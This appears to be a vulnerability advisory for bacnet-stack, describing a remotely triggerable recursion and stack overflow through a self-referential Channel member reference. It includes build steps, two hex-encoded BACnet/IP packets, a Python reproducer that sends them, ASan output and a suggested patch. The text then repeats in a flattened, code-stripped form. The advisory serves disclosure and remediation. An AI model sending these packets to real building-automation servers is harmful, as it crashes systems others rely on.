Summary
A remote attacker can trigger an uncontrolled recursion and stack overflow in the default server application of bacnet-stack by abusing the Channel object.
The issue arises because PROP_LIST_OF_OBJECT_PROPERTY_REFERENCES accepts a self-referential entry pointing back to the same Channel object's PROP_PRESENT_VALUE. A subsequent WriteProperty request to that Channel object's PROP_PRESENT_VALUE causes the implementation to re-expand the persisted member reference through the internal Device_Write_Property callback, creating an unbounded recursive loop:
Channel_Write_Property -> Channel_Present_Value_Write -> Channel_Write_Members -> Device_Write_Property -> Channel_Write_Property -> ...
This results in a reliable server-side stack-overflow and process crash. It is a real remotely reachable denial-of-service issue in the default server configuration
Affected Product
- Version confirmed affected:
1.4.3 and 1.5.0
- Affected component:
Channel object write path in the default BACnet/IP server
Affected Code Areas
The vulnerable behavior is the result of the interaction between the following code paths:
Root Cause
1. Persistent member list accepts a dangerous self-reference
The write path for PROP_LIST_OF_OBJECT_PROPERTY_REFERENCES performs type and array handling, but does not reject a member reference that points back to:
- the same object type:
OBJECT_CHANNEL
- the same object instance: current
Channel
- the same target property:
PROP_PRESENT_VALUE
As a result, an attacker can persist a member entry equivalent to:
- target object:
Channel:1
- target property:
Present_Value
- array index: all / none-specific
This creates a self-referential writeback edge inside the Channel object state.
2. Present_Value writeback blindly replays persisted members
When PROP_PRESENT_VALUE is later written on the same Channel, Channel_Present_Value_Write() invokes Channel_Write_Members().
Channel_Write_Members() walks the persisted Members[] list and reconstructs a new internal BACNET_WRITE_PROPERTY_DATA request for each member entry. It then forwards that write via the internal write callback, which is already bound to Device_Write_Property().
Because the malicious member points back to the same Channel object's PROP_PRESENT_VALUE, the internal write dispatch re-enters:
Device_Write_Property()
Channel_Write_Property()
Channel_Present_Value_Write()
Channel_Write_Members()
There is no recursion guard, no cycle detection, and no rejection of this self-referential configuration.
3. Result
The recursion is unbounded and continues until the server exhausts stack space and terminates with AddressSanitizer: stack-overflow.
Reproduction
Build server with sanitizers
cmake -S . -B build \
-G "Unix Makefiles" \
-DCMAKE_C_COMPILER=clang \
-DCMAKE_BUILD_TYPE=Debug \
-DBACNET_STACK_BUILD_APPS=ON \
-DBACDL_BIP=ON \
-DBACDL_BIP6=OFF \
-DBACDL_ETHERNET=OFF \
-DBACDL_MSTP=OFF \
-DBACDL_ARCNET=OFF \
-DBAC_ROUTING=ON \
-DBACNET_PROPERTY_LISTS=ON \
-DCMAKE_C_FLAGS_DEBUG="-O0 -g3 -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-inline -fsanitize=address,undefined" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
cmake --build build --target server -j4
Start the real server
BACNET_IFACE=lo BACNET_IP_PORT=47808 ./server
Proof of Concept
The following two BACnet/IP packets are sufficient to reproduce the issue against the unmodified server.
Packet 1: write a self-referential member entry
810a002101040005010f0c0d400001193629013e0c0d40000119553c0200007b3f
Expected response:
0x20 is SimpleACK, confirming the malicious member reference was accepted and persisted.
Packet 2: write Present_Value to trigger recursive writeback
810a001701040005020f0c0d40000119553e21013f4910
Expected result:
- no valid server response
- server enters recursive loop
- ASan terminates the process with
stack-overflow
Minimal Python Reproducer
import socket, time
member = bytes.fromhex('810a002101040005010f0c0d400001193629013e0c0d40000119553c0200007b3f')
present = bytes.fromhex('810a001701040005020f0c0d40000119553e21013f4910')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', 47809))
s.settimeout(1.0)
s.sendto(member, ('127.0.0.1', 47808))
print('member resp =', s.recvfrom(2048)[0].hex())
time.sleep(0.1)
s.sendto(present, ('127.0.0.1', 47808))
try:
print('present resp =', s.recvfrom(2048)[0].hex())
except Exception as e:
print('present resp = none', type(e).__name__)
Observed output:
member resp = 810a0009010020010f
present resp = none TimeoutError
Observed Server Output
Representative ASan backtrace:
ERROR: AddressSanitizer: stack-overflow
#0 Channel_Write_Property src/bacnet/basic/object/channel.c:1267
#1 Device_Write_Property src/bacnet/basic/object/device.c:3500
#2 Channel_Write_Members src/bacnet/basic/object/channel.c:752
#3 Channel_Present_Value_Write src/bacnet/basic/object/channel.c:841
#4 Channel_Write_Property src/bacnet/basic/object/channel.c:1287
#5 Device_Write_Property src/bacnet/basic/object/device.c:3500
#6 Channel_Write_Members src/bacnet/basic/object/channel.c:752
#7 Channel_Present_Value_Write src/bacnet/basic/object/channel.c:841
...
SUMMARY: AddressSanitizer: stack-overflow in Channel_Write_Property
Impact
A remote attacker can reliably crash the BACnet/IP server by sending two crafted WriteProperty requests.
The first request writes a self-referential Channel member entry and receives a SimpleACK, showing that the malicious state is accepted and persisted by the server. The second request writes PROP_PRESENT_VALUE on the same Channel, which causes the implementation to replay the persisted member through the internal Device_Write_Property() callback and re-enter the same Channel write path recursively until stack exhaustion occurs.
Security-relevant characteristics of this issue:
- reachable over the network through BACnet/IP
- affects the real server process, not only an internal test path
- requires no source modification to reproduce
- persists attacker-controlled state before the final trigger
- reproducible with raw packet replay
- causes reliable denial of service through uncontrolled recursion and stack overflow
Current evidence supports availability impact in the form of a stable server-side crash.
Suggested Minimal Patch
Patch Part 1: Reject direct self-reference during member write
In src/bacnet/basic/object/channel.c, add a helper:
static bool Channel_Member_Is_Direct_Self_Present_Value(
uint32_t channel_instance,
const BACNET_DEVICE_OBJECT_PROPERTY_REFERENCE *ref)
{
if (!ref) {
return false;
}
return (ref->objectIdentifier.type == OBJECT_CHANNEL) &&
(ref->objectIdentifier.instance == channel_instance) &&
(ref->propertyIdentifier == PROP_PRESENT_VALUE);
}
Then, in Channel_List_Of_Object_Property_References_Write(), immediately after decoding the BACNET_DEVICE_OBJECT_PROPERTY_REFERENCE and before storing it into pObject->Members[index], reject the dangerous case:
if (Channel_Member_Is_Direct_Self_Present_Value(
object_instance, &value.type.Device_Object_Property_Reference)) {
wp_data->error_class = ERROR_CLASS_PROPERTY;
wp_data->error_code = ERROR_CODE_VALUE_OUT_OF_RANGE;
return false;
}
This prevents the exact exploit path described above.
Patch Part 2: Add runtime recursion guard
Extend the per-object Channel state with a re-entry flag.
For example, in the Channel object structure:
struct object_data {
...
bool writeback_active;
...
};
Then guard Channel_Write_Members():
static bool Channel_Write_Members(
struct object_data *pObject,
uint32_t object_instance,
BACNET_CHANNEL_VALUE *value,
unsigned priority)
{
bool status = false;
if (!pObject) {
return false;
}
if (pObject->writeback_active) {
return false;
}
pObject->writeback_active = true;
status = true;
for (unsigned i = 0; i < CHANNEL_MEMBERS_MAX; i++) {
BACNET_WRITE_PROPERTY_DATA member_wp = { 0 };
if (!Channel_Member_Reference_Valid(&pObject->Members[i])) {
continue;
}
member_wp.object_type =
pObject->Members[i].objectIdentifier.type;
member_wp.object_instance =
pObject->Members[i].objectIdentifier.instance;
member_wp.object_property =
pObject->Members[i].propertyIdentifier;
member_wp.array_index =
pObject->Members[i].arrayIndex;
member_wp.priority = priority;
member_wp.application_data = ...;
member_wp.application_data_len = ...;
if (!Write_Property_Internal_Callback ||
!Write_Property_Internal_Callback(&member_wp)) {
status = false;
break;
}
}
pObject->writeback_active = false;
return status;
}
Remediation included in PR #1345
Summary
A remote attacker can trigger an uncontrolled recursion and stack overflow in the default
serverapplication ofbacnet-stackby abusing theChannelobject.The issue arises because
PROP_LIST_OF_OBJECT_PROPERTY_REFERENCESaccepts a self-referential entry pointing back to the sameChannelobject'sPROP_PRESENT_VALUE. A subsequentWritePropertyrequest to thatChannelobject'sPROP_PRESENT_VALUEcauses the implementation to re-expand the persisted member reference through the internalDevice_Write_Propertycallback, creating an unbounded recursive loop:Channel_Write_Property -> Channel_Present_Value_Write -> Channel_Write_Members -> Device_Write_Property -> Channel_Write_Property -> ...This results in a reliable server-side
stack-overflowand process crash. It is a real remotely reachabledenial-of-serviceissue in the default server configurationAffected Product
1.4.3and1.5.0Channelobject write path in the default BACnet/IP serverAffected Code Areas
The vulnerable behavior is the result of the interaction between the following code paths:
apps/server/main.cInit_Service_Handlers()WritePropertychannel-1src/bacnet/basic/object/device.cOBJECT_CHANNELDevice_Init()bindsChannel_Write_Property_Internal_CallbacktoDevice_Write_PropertyDevice_Write_Property()dispatches internal member writes back into object write handlerssrc/bacnet/basic/object/channel.cChannel_Write_Property()Channel_Present_Value_Write()Channel_Write_Members()Channel_List_Of_Object_Property_References_Write()List_Of_Object_Property_References_Set()Root Cause
1. Persistent member list accepts a dangerous self-reference
The write path for
PROP_LIST_OF_OBJECT_PROPERTY_REFERENCESperforms type and array handling, but does not reject a member reference that points back to:OBJECT_CHANNELChannelPROP_PRESENT_VALUEAs a result, an attacker can persist a member entry equivalent to:
Channel:1Present_ValueThis creates a self-referential writeback edge inside the
Channelobject state.2. Present_Value writeback blindly replays persisted members
When
PROP_PRESENT_VALUEis later written on the sameChannel,Channel_Present_Value_Write()invokesChannel_Write_Members().Channel_Write_Members()walks the persistedMembers[]list and reconstructs a new internalBACNET_WRITE_PROPERTY_DATArequest for each member entry. It then forwards that write via the internal write callback, which is already bound toDevice_Write_Property().Because the malicious member points back to the same
Channelobject'sPROP_PRESENT_VALUE, the internal write dispatch re-enters:Device_Write_Property()Channel_Write_Property()Channel_Present_Value_Write()Channel_Write_Members()There is no recursion guard, no cycle detection, and no rejection of this self-referential configuration.
3. Result
The recursion is unbounded and continues until the server exhausts stack space and terminates with
AddressSanitizer: stack-overflow.Reproduction
Build server with sanitizers
Start the real server
Proof of Concept
The following two BACnet/IP packets are sufficient to reproduce the issue against the unmodified server.
Packet 1: write a self-referential member entry
Expected response:
0x20isSimpleACK, confirming the malicious member reference was accepted and persisted.Packet 2: write Present_Value to trigger recursive writeback
Expected result:
stack-overflowMinimal Python Reproducer
Observed output:
Observed Server Output
Representative ASan backtrace:
Impact
A remote attacker can reliably crash the BACnet/IP server by sending two crafted
WritePropertyrequests.The first request writes a self-referential
Channelmember entry and receives aSimpleACK, showing that the malicious state is accepted and persisted by the server. The second request writesPROP_PRESENT_VALUEon the sameChannel, which causes the implementation to replay the persisted member through the internalDevice_Write_Property()callback and re-enter the sameChannelwrite path recursively until stack exhaustion occurs.Security-relevant characteristics of this issue:
Current evidence supports availability impact in the form of a stable server-side crash.
Suggested Minimal Patch
Patch Part 1: Reject direct self-reference during member write
In
src/bacnet/basic/object/channel.c, add a helper:Then, in
Channel_List_Of_Object_Property_References_Write(), immediately after decoding theBACNET_DEVICE_OBJECT_PROPERTY_REFERENCEand before storing it intopObject->Members[index], reject the dangerous case:This prevents the exact exploit path described above.
Patch Part 2: Add runtime recursion guard
Extend the per-object
Channelstate with a re-entry flag.For example, in the
Channelobject structure:Then guard
Channel_Write_Members():Remediation included in PR #1345